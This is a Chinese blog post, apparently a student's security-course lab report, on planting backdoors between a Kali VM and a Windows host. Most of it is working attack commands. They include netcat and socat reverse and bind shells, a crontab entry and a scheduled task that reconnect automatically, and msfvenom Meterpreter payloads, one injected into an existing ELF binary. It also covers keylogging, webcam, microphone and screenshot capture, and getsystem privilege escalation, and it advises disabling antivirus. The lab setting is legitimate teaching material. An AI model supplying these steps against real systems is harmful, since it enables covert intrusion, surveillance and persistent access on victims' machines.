Exp2 后门原理与实践

本文详细介绍了后门原理,包括后门的可能植入方式、启动机制,以及使用Meterpreter进行的各种操作,如获取Shell、音频/摄像头监控和提权。同时讨论了实验中遇到的问题及解决方案,强调网络安全意识和工具运用的重要性。
摘要由CSDN通过智能技术生成

Exp2 后门原理与实践

1. 基础问题

1.1 例举你能想到的一个后门进入到你系统中的可能方式?

  • 插入不明来源的U盘
  • 安装网上一些不正规的软件,比如软天空之类的
  • 点击一些不安全的链接
  • 陌生人发来的邮件中,接收不明的文件或者链接
  • 打开文档宏,执行的代码中注入后门

1.2 例举你知道的后门如何启动起来(win及linux)的方式?

  • Win:任务计划程序,设置开机自启动,安装伪装成服务;通过注册表自启动。
  • Linux:通过cron指令制定任务来启动程序、各种脚本,和其他文件捆绑。

1.3 Meterpreter有哪些给你印象深刻的功能?

  • Meterpreter我觉得功能很强大而且全面,当我可以自由的打开被控制主机的摄像头,音频,键盘输入的时候我感觉到了非常的震惊,可以想象一个技术全面的黑客是否也可以做到,在你点击了一个链接,或者注册表运行一个不知名的文件时候,你的电脑就在他们面前没有了秘密。

1.4 如何发现自己有系统有没有被安装后门?

  • 检查是否有不常用端口开放;
  • 检查是否有系统文件被修改;
  • 检查是否有可疑程序被执行;
  • 观察系统运行速度和内存有没有明显变化;
  • 观察注册表。

2. 实验总结与体会

2.1 要时刻学会理性分析问题

在做一开始实验的时候,我按照正常的流程做实验,但是很快就出现了问题,我发现我在建立连接的时候发现kali没有反应,但是显示Windows发的消息确实到达了kali,但是kali无法连接回去,然后我在反复试验之后觉得应该是有东西把这个数据包拦截下来了,但是我的防火墙已经关闭了,最后我看到火绒的弹窗…最后我关闭了火绒和电脑管家,实验就顺利进行了,所以清楚流程,逐步去找寻问题,是破题的关键。

2.2 要知其然,也要知其所以然

在做实验的时候,我们经常会遇到各种各样的问题,怎么去解决就需要我们了解每一个命令是在干什么,以及为什么要这么做,这样在出现问题的时候我们至少知道如何去调试。

2.3 要时刻提高网络安全意识

在进行进行完实验之后,我逐步的感受到了一个顶级黑客的可怕之处,不但可以入侵你的系统,获得文件的控制权,甚至可以控制你的摄像头和音频软件,我们在上网的时候一定要提高安全意识,非法的网站不登录,陌生的链接不点击,保护好自己的信息安全。

2.4 要开拓创新,运用新的工具

作为这个实验的负责人,我觉得还是写一个小博客比较方便大家学习,所以我就开始写自己的第一篇小文章,一开始我先试用了一下富文本的编辑器发现还是不太方便,然后我自己试着学习了一下markdown语言编辑器确实感觉好用了很多。

3. 实践过程记录

3.0 环境准备

温馨提示:!!!!!在开始实验之前请关闭所有的杀毒软件,包括但不限于火绒、电脑管家,360等,然后还需要关闭防火墙,避免你的软件抱着为你好的心态把你下好的文件删除或者拦截命令。

3.0.1 获取IP地址

因为本次实验需要演示两主机间互相连接、反弹连接、注入后门等操作,因此需要先查询主机ip地址。

Windows:打开cmd窗口,输入ipconfig
查询到本机ip地址为192.168.146.1
在这里插入图片描述

Linux:打开命令行窗口,输入ifconfig
查询到虚拟机IP地址为192.168.146.134
在这里插入图片描述

3.0.2 ncat、socat、Meterpreter基础知识

  • ncat

    ncat即Netcat。Netcat用于从TCP/UDP连接中读取或发送网络数据。ncat可用来做端口扫描、端口转发、连接远程系统等。
    参数解释:
    -l:监听端口,监听入站信息
    -p:后跟本地端口号
    -v:显示端口的信息
    -vv:显示端口更详细的信息

  • socat

    socat可以看做是 Netcat 的加强版。Socat的主要特点就是在两个数据流之间建立双向通道,且支持众多协议和链接方式,如IP,TCP,UDP,IPv6,pipe,exec,system,open,proxy,openssl,socket等。
    功能​:端口转发​、​端口映射​、​端口监听、​tcp/udp连接​、​文件传送​、​nat映射​、使用openssl加密传输​

  • Meterpreter

    Meterpreter号称“黑客瑞士军刀”,首先他有五大模块功能:渗透攻击(Exploit)、攻击载荷(Payload)、Shellcode、模块(Module)、监听器(Listener),功能强大

3.1 使用netcat获取主机操作Shell,cron启动

3.1.1 Windows获取Linux Shell

本实验使用的端口号均为本人学号:4317

  • Windows用命令 ncat.exe -l -p 4317 监听4317端口,等待其他机器连接该端口。
    在这里插入图片描述

  • kali使用命令 nc 192.168.146.1 4317 -e /bin/sh 反弹连接Windows,提供自己的shell(192.168.146.1为Win的IP)
    在这里插入图片描述

  • Windows获得了linux的shell,可以执行linux的相关命令,例ls,whoami,如图。
    在这里插入图片描述

  • 与上面的步骤相似,在linux中用命令 nc -l -p 4317 设置监听本地4317端口。
    在这里插入图片描述

  • Windows使用命令.\ncat -e cmd.exe 192.168.146.134 4317中间的IP是kali的IP
    在这里插入图片描述

    反弹连接linux,提供自己的shell。(192.168.146.134为攻击者Linux的IP地址)

  • linux获得Windows的shell,可以执行相关命令,例dir
    在这里插入图片描述

3.1.3 利用ncat可执行文件 传输数据

  • Linux监听4317端口 nc -l -p 4317
  • Windows连接Linux的4317端口 ncat.exe 192.168. 146.134 4317
  • 两台机器就可以互相传输信息
    在这里插入图片描述

3.2 使用socat获取主机操作Shell, 任务计划启动

3.2.1 Windows获取Linux Shell

  • 先在Linux上编写一条定时任务,让反弹连接定时启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
crontab指令增加一条定时任务;e表示编辑;输入2表示选择vim编辑器。
用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:minute hour day month week command

  • 用指令 crontab -e 编辑定时任务。在第一次编辑的时候,会有提示选择编辑器,选择“2”,利用vim编辑器进行编辑。

  • 点击“i”进入编辑模式,在最后一行添加 50 * * * * /bin/netcat 192.168.211.1 4317 -e /bin/sh,意思是每小时的50分会反向连接Windows的4317端口。

  • 按Esc键退出编辑模式,输入 :wq 保存并退出。
    在这里插入图片描述

  • 显示插入命令成功
    在这里插入图片描述

  • 等待至50分后,Windows获得Linux的shell,可执行相关命令,例ls。
    在这里插入图片描述

3.2.2 Linux获取Windows Shell

  • man socat 查看socat使用说明
    在这里插入图片描述

  • 在Windows下,打开:控制面板->管理工具->任务计划程序,新建任务计划。

  • 打开Windows工具
    在这里插入图片描述

  • 新建任务
    在这里插入图片描述

  • 在操作选项中,选择“创建任务”,填写任务名称20214317 Exp2

    新建操作,选择启动的程序为
    socat.exe,参数项填写 tcp-listen:4317 exec:cmd.exe,pty,stderr
    含义为:把cmd.exe绑定到端口号,同时把cmd.exe的stderr重定向到stdout上。
    在这里插入图片描述

  • 编辑触发器
    在这里插入图片描述

  • 新建操作
    在这里插入图片描述

  • 在kali终端输入指令 socat - tcp:192.168.211.1:4317,此时Linux监听中

  • 等待预定时间,Windows启动任务,socat.exe运行

  • Linux获得Windows Shell

  • socat.exe开始运行
    在这里插入图片描述

  • 获得Windows的shell

在这里插入图片描述

3.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

3.3.1 生成后门

  • Kali命令行中输入以下命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.146.134 LPORT=4317 -f exe > 20214317_backdoor.exe

注:这里设置的主机IP和端口均为linux的IP、端口

LHOST为反弹回连的IP,在这里是要Windows主动连接kali,即反弹给Kali,也就是Kali的IP
LPORT是回连端口
p 使用payload,payload翻译为有效载荷,就是被运输有东西。
windows/meterpreter/reverse_tcp是一段shellcode
f 生成文件的类型:exe
“>” 输出文件名:20214317_backdoor.exe

3.3.2 将生成的后门传送到Windows主机上

  • 在Windows上监听4317端口等待接收可执行文件20214317_backdoor.exe
.\ncat -lv 4317 >20214317_backdoor.exe

在这里插入图片描述

  • 在Kali上将生成的20204308lwy_backdoor.exe传送给Windows
nc 172.30.7.176 4308 < 20204308lwy_backdoor.exe

在这里插入图片描述
在这里插入图片描述

  • 然后我们在ncat的中可以看到backdoor的文件

在这里插入图片描述
(很多同学会在这里出现错误,发现这个文件是无法打开的,这个问题会在本篇文章的错误分析中给大家详细讲解,如果你做到了这个地方请翻到下面)

3.3.3 进入msf控制台进行配置

  • 在kali上使用 msfconsole 命令,进入msf控制台。

在这里插入图片描述

  • 配置监听模块
use exploit/multi/handler  //使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
set LHOST 192.168.146.134  //KaliIP,和生成后门程序时指定的IP相同
set LPORT 4317	//设置本主机的端口

在这里插入图片描述

  • 输入 exploit 运行模块;在Windows上运行后门程序20214317_backdoor.exe(这个地方大家出现问题见问题分析)

在这里插入图片描述
在这里插入图片描述

  • 查看kali,发现获得了Windows主机的连接,得到了远程控制的shell,可执行相关命令,例dir

在这里插入图片描述

3.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

3.4.1 获取目标主机音频、摄像头、击键内容等内容

  • 获取目标主机的音频和截屏内容
record_mic    //音频
screenshot    //截屏

在这里插入图片描述

在这里插入图片描述

  • 使用命令 webcam_snap 可以获取摄像头所拍摄的照片

在这里插入图片描述

  • 在kali上输入指令 keyscan_start ,开始记录键盘记录,然后在Windows上输入一些字母,之后,再切换到kali,输入指令
    keyscan_dump ,就可以读取键盘记录

    在Windows上新建了一个文本文档,随便输入了一串字符:wan dan le lao di
    在这里插入图片描述
    在这里插入图片描述

3.4.2 提权

  • 先使用 getuid 指令查看当前用户,再使用 getsystem 指令进行提权。

要用以管理员身份运行20214317_backdoor.exe
在这里插入图片描述

在这里插入图片描述

3.5 加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 使用命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168. 146.134 LPORT=4317 -x /home/kali/kalishare/pwn1 -f elf > 20214317_pwn2生成以pwn1模板这个elf文件格式的shellcode文件20214317_pwn2
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.146.134 LPORT=4317 -x /home/kali/kalishare/pwn1 -f elf > 20214317_pwn2

在这里插入图片描述

  • 输入指令msfconsole,进入msf命令行
use exploit/multi/handler    //进入handler模式
set payload linux/x86/meterpreter/reverse_tcp  //对应生成的后门程序设置payload
show options  //查看当前信息状态
set LHOST 192.168.146.134  //设置LHOST,其中ip为攻击者Linux的ip
set LPORT 4317 //设置LPORT
exploit //启动监听

在这里插入图片描述

  • 在kali上运行后门文件20214317_pwn22,在kali中执行文件前应先加权限 chmod +x 20214317_pwn22
  • 此时攻击者Linux上已经获得了被攻击者Linux的连接,并且得到了远程控制的shell,执行ls等命令。

在这里插入图片描述

在这里插入图片描述

4. 问题分析

4.1 在使用ncat无法建立连接

问题描述:在做实验的时候,当需要Windows当好人,kali去攻击的时候出现了kali接受到了数据消息,但是直接中断,没有获得cmd命令的情况。

解决方法:关掉火绒!!!!!目前知道火绒这个软件会拦截kali发送给Windows的不法数据包,在交流中甚至有的同学在实验的时候后门软件直接被火绒删掉了,我们做实验的时候还是要避免这种杀毒软件和防火墙的开启。

4.2 Win上无法运行meterpreter生成的可执行文件(重点)

问题描述:在把生成后门传送到Windows主机上,并需要运行该文件时,发现win无法运行文件,出现以下提示。

这个问题其实困扰了我很久很久,差不多有三四天,中间和薛某以及冀某反复试验了一下,发现都出现了如下的情况
在这里插入图片描述
正是这个弹窗让我一度认为这个文件就是这样的,无法被Windows运行

于是我开始试试用64位的编译,看看可不可以运行一下
但是:
在这里插入图片描述
在如此反复十几次之后开始崩溃

然后鸣谢一下王*琪同学,在她的电脑上backdoor_exe找到了生长的土壤,然后我查看了一下发现了一些端倪

我的文件中文件大小为:112KB ,但是她的文件只有72KB

然后我回去查看发现在最开始生成注入backdoor.exe的时候实际上只有73802比特,说明生成文件的时候本身没有问题
在这里插入图片描述
经过ncat的传输之后就突然增加了几乎一半的内容,所以我认为一定是ncat传输中出现了问题

那么有没有什么办法可以不用ncat传输,直接把这个文件从kali传输到Windows

相信很多同学已经想到了kalishare文件夹,通过共享文件传输过来就可以运行辣!

在这里插入图片描述

4.3 提权失败

问题描述:无法以普通用户身份进行提权操作。
解决方法:要以管理员身份打开后门(可执行文件)后,有了充足权限才可进行提权操作。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值